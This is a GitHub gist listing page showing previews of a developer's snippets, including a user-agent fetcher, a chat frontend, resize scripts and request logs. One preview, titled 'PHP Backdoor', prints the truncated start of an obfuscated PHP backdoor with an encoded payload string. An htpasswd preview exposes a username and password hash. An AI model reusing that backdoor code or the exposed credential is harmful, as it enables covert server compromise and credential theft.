Skip to content

Instantly share code, notes, and snippets.

@iambibhas
iambibhas / uastring.py
Created August 1, 2012 18:41 — forked from mehulved/uastring.py
User Agent strings in more usable format
def uastring(platforms, format):
'''
This function is used to retrive User Agent String for various browsers/platforms from www.useragentstring.com.
Aim of this module is to simplify using the available data.
To find the value of the platform, visit http://useragentstring.com and get the part after /pages/
The platform parameter should be a set of one or more platforms. Supported formats are csv, json and xml.
'''
import requests
import BeautifulSoup as bsoup
@iambibhas
iambibhas / Result
Created August 24, 2012 21:40
Find Prime Number in Given Range
bibhas@bibhas-CQ42:~/Works/langtest$ php php.php && python python.py && gcc c.c && ./a.out
======
PHP
======
5.5071251392365 seconds
9592 primes
======
Python
======
4.45425796509 seconds
@iambibhas
iambibhas / anchor.html
Created August 26, 2012 16:53
Twitter t.co link shortener bypasser
<a href="http://t.co/acgTzWKR" class="twitter-timeline-link" target="_blank" data-expanded-url="http://tcrn.ch/NTr6S8" title="http://tcrn.ch/NTr6S8" dir="ltr" wotsearchprocessed="true">
<span class="invisible">http://</span>
<span class="js-display-url">tcrn.ch/NTr6S8</span>
<span class="invisible"></span>
<span class="tco-ellipsis">
<span class="invisible">&nbsp;</span>
</span>
</a>
@iambibhas
iambibhas / chat-frontend.js
Created September 1, 2012 18:35 — forked from martinsik/chat-frontend.js
Node.js chat frontend and server
$(function () {
"use strict";
// for better performance - to avoid searching in DOM
var content = $('#content');
var input = $('#input');
var status = $('#status');
// my color assigned by the server
var myColor = false;
@iambibhas
iambibhas / log
Created October 14, 2012 05:27
Localtunnel attenmpt to exploit
INFO:werkzeug:127.0.0.1 - - [14/Oct/2012 12:53:50] "POST /recurly_notifications/receive HTTP/1.0" 404 -
INFO:werkzeug:127.0.0.1 - - [14/Oct/2012 12:53:59] "POST /recurly_notifications/receive HTTP/1.0" 404 -
INFO:werkzeug:127.0.0.1 - - [14/Oct/2012 12:57:02] "POST /payments/stripe/ HTTP/1.0" 404 -
INFO:werkzeug:127.0.0.1 - - [14/Oct/2012 12:57:02] "POST /payments/stripe/ HTTP/1.0" 404 -
INFO:werkzeug:127.0.0.1 - - [14/Oct/2012 12:57:03] "POST /payments/stripe/ HTTP/1.0" 404 -
INFO:werkzeug:127.0.0.1 - - [14/Oct/2012 12:57:04] "POST /payments/stripe/ HTTP/1.0" 404 -
INFO:werkzeug:127.0.0.1 - - [14/Oct/2012 12:57:04] "POST /payments/stripe/ HTTP/1.0" 404 -
INFO:werkzeug:127.0.0.1 - - [14/Oct/2012 12:57:05] "POST /payments/stripe/ HTTP/1.0" 404 -
INFO:werkzeug:127.0.0.1 - - [14/Oct/2012 12:59:00] "POST /facebook/subscription HTTP/1.0" 404 -
INFO:werkzeug:127.0.0.1 - - [14/Oct/2012 12:59:56] "POST /facebook/subscription HTTP/1.0" 404 -
@iambibhas
iambibhas / batch_resize.sh
Created October 23, 2012 20:20
Batch resizing JPEG images with ImageMagick
#!/bin/bash
if [ ! -d ./resized ]; then mkdir ./resized; fi;
# creates the screen image
for f in *.JPG;
do
echo "Processing $f"
convert -strip -modulate 105,110,100 -resize "1024x768" -unsharp 0,1.5,0.05 \
$f ./resized/$f
@iambibhas
iambibhas / gimg_dirurl.js
Created November 8, 2012 12:40
Google Image Search Direct Link to Image
// ==UserScript==
// @name Google Image Direct Link
// @namespace http://userscripts.org/users/192333
// @include http*://*.google.co.in/search*
// @version 1
// @grant GM_deleteValue
// @grant GM_getValue
// @grant GM_setValue
// @grant GM_info
// ==/UserScript==
@iambibhas
iambibhas / backdoor_code.php
Created December 29, 2012 10:20
PHP Backdoor
<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn1XULdmbqZVUzElNmNTVGxEeNt1ZzkFcmJyJuUTNyZGJuciLxk2cwRCLiICKuVHdlJHJn4SNykmckRiLnsTKn4iInIiLnAkdX5Uc2dlTshEcMhHT8xFeMx2T4xjWkNTUwVGNdVzWvV1Wc9WT2wlbqZVX3lEclhTTKdWf8oEZzkVNdp2NwZGNVtVX8dmRPF3N1U2cVZDX4lVcdlWWKd2aZBnZtVFfNJ3N1U2cVZDX4lVcdlWWKd2aZBnZtVkVTpGTXB1JuITNyZGJuIyJi4SN1InZk4yJukyJuIyJi4yJ64GfNpjbWBVdId0T7NjVQJHVwV2aNZzWzQjSMhXTbd2MZBnZxpHfNFnasVWevp0ZthjWnBHPZ11MJpVX8FlSMxDRWB1JuITNyZGJuIyJi4SN1InZk4yJukyJuIyJi4yJAZ3VOFndX5EeNt1ZzkFcm5maWFlb0oET410WnNTWwZWc6xXT410WnNTWwZmbmZkT4xjWkNTUwVGNdVzWvV1Wc9WT2wlazcETn4iM1InZk4yJn4iInIiL1UjcmRiLn4SKiAkdX5Uc2dlT9pnRQZ3NwZGNVtVX8VlROxXV2YGbZZjZ4xkVPxWW1cGbExWZ8l1Sn9WT20kdmxWZ8l1Sn9WTL1UcqxWZ59mSn1GOadGc8kVXzkkWdxXUKxEPExGUn4iM1InZk4yJiciL1UjcmRiLn0TMpNHcksTKiciLyUTayZGJucSN3wVM1gHX2QTMcdzM4x1M1EDXzUDecNTMxwVN3gHXyETMchTN4xFN0EDXwMDecZjMxwFZ2gHXzQTMcJmN4x1N2EDX5YDecFTMxwVO2gHX3QTMcNTN4xlM
@iambibhas
iambibhas / error.log
Last active December 10, 2015 20:58
simple threaded mail handler
Traceback (most recent call last):
File "<console>", line 1, in <module>
File "../apps/home/mailhandler.py", line 46, in handle
if self.send(to=[user.email], subject=subjects[mtype], text_body=plaintext, html_body=htmly):
File "../apps/home/mailhandler.py", line 55, in send
msg = EmailMultiAlternatives(subject, text_body, from_email, to)
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/threading.py", line 438, in __init__
assert group is None, "group argument must be None for now"
AssertionError: group argument must be None for now
@iambibhas
iambibhas / htpasswd
Created January 29, 2013 09:06
Basic HTTP Auth for Nginx
username:sayVb7E97UXnw